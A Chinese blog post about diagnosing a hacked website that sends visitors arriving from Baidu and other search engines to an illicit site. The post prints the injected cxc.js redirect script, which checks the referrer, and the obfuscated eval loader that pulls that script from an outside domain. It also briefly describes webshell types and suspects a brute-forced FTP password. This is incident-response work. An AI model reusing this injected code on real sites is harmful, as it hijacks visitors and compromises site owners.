起因，在下班准备回家之际，收到几条朋友发来的信息，说他的网站在百度搜索做信息流广告推广，但是从百度搜索点击打开就会跳转的×××，让我帮忙排查下问题，是不是被挂马了，于是乎就开始了后面的故事
为了保护网站隐私，假定网站地址是：http://www.xxx.com
收到消息后我尝试操作并收集到下面现象内容：
现象1：通过域名直接打开网站，可以正常打开，不会跳转到×××站
现象2：通过百度/搜狗搜索引擎，搜索到网站后点击打开就会跳转到×××站
开始排查
- 网站是怎么跳转的？
网站跳转无非就是这两种：服务端重定向跳转/前端JS触发跳转，我开始用Charles抓包，列出抓包请求发起顺序大概是这样的（省略无关的请求）：
先打开站点www.xxx.com返回Code=200，不是服务端重定向Code=302，是由前端发起跳转，并且注意到：cxc.js，请求头Referer=www.xxx.com，这个并非站点前端开发需要引入的脚本，打开地址看代码如下：
(function () {
/*百度推送代码*/
var bp = document.createElement(‘script‘);
bp.src = ‘//push.zhanzhang.baidu.com/push.js‘;
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + ‘//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9‘;
document.write(‘<script src="‘ + src + ‘" id="sozz"><\/script>‘);
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://www.das8cx.com/\";");
document.writeln("</script>");
看代码就知道抓到了元凶，这里执行了location.href到×××站，但是看主页html源码里并没有cxc.js的引入，继续后面的排查
- cxc.js是如何在主页里引入的？
带着这个疑问，打开了首页源码，大概过了下，没有发现引入脚本的地方，就开始怀疑是不是动态引入的，再次查看源码，看到一段被混淆加密压缩过代码：
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!‘‘.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return‘\\w+‘};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(‘\\b‘+e(c)+‘\\b‘,‘g‘),k[c]);return p;}(‘l["\\d\\e\\1\\m\\j\\8\\n\\0"]["\\6\\4\\9\\0\\8"](\‘\\i\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\c\\7\\0\\8\\h\\0\\5\\f\\b\\q\\b\\2\\1\\4\\9\\3\\0\\7 \\2\\4\\1\\c\\7\\o\\0\\0\\3\\2\\p\\5\\5\\6\\6\\6\\a\\1\\3\\d\\b\\2\\r\\a\\1\\e\\j\\5\\1\\h\\1\\a\\f\\2\\7\\g\\i\\5\\2\\1\\4\\9\\3\\0\\g\‘);‘,28,28,‘x74|x63|x73|x70|x72|x2f|x77|x22|x65|x69|x2e|x61|x3d|x64|x6f|x6a|x3e|x78|x3c|x6d|x79|window|x75|x6e|x68|x3a|x76|x38‘.split(‘|‘),0,{}))感觉事蹊跷，不管三七二十一先到谷歌开发者工具控制台里执行看看，截取重要提示信息：
A parser-blocking, cross site (i.e. different eTLD+1) script,https://www.cpdas8.com/cxc.js, is invoked via document.write
明了了，就是这段脚本把cxc.js动态的引入到站点里，现在跳转的原因是找到了，但是为啥会好端端的多了这段代码，继续后面的分析
- 为什么主页源码会被篡改加入了一段脚本呢？
站点是通过阿里云服务器的虚拟空间进行部署的，服务器本身应该没有问题
目前猜测有两种可能性：
- FTP暴力破解，成功连接上FTP后进行篡改
- 站点安全漏洞，被上传了***程序后被执行，篡改了源码
后面问了下FTP密码是设置的挺简单的，所以评估可能是FTP暴力破解导致，细思极恐
番外，里面还有段篡改SEO关键词代码，这里也需要去掉：
篡改了keyword/description/title
问题总结：
通过抓包和代码分析可以知道跳转到×××站的流程是这样的：
- 打开首页，脚本执行了evel(混淆加密压缩)，动态引入cxc.js
- 引入的cxc.js里执行了(function (){/ 跳转逻辑 /})()，如果站点referrer是搜索引擎过来的就跳转到×××站，不是就不做跳转直接正常打开站点
- 知道原理后就很清晰明白上面现象的原因，并且可以很清楚的怎么去修复
站点源码被侵入篡改问题：
- 站点的开发需要注意WEB安全问题，文件上传漏洞，脚本注入，SQL注入，跨站***，等
- 站点的服务器/FTP/后台账号密码，不要设置的太随意，要有一定的复杂度，不然很容易被暴力破解
常见***类型：
- 大马
- 大马体积比较大 一般50K以上。功能也多，一般都包括提权命令，磁盘管理，数据库连接借口，执行命令甚至有些以具备自带提权功能和压缩，解压缩网站程序的功能。这种马隐蔽性不好，而大多代码如不加密的话很多杀毒厂商开始追杀此类程序
- 小马
- 小马体积小，容易隐藏，隐蔽性强，最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行，不过功能少，一般只有上传等功能
- 一句话***
- 一句话***属于 就一句话的脚本语句 代码少 就是一句话***属于小马
查杀工具：
辅助手段-网站安全检测：
首发博客
原文地址：http://blog.51cto.com/sflyq/2309109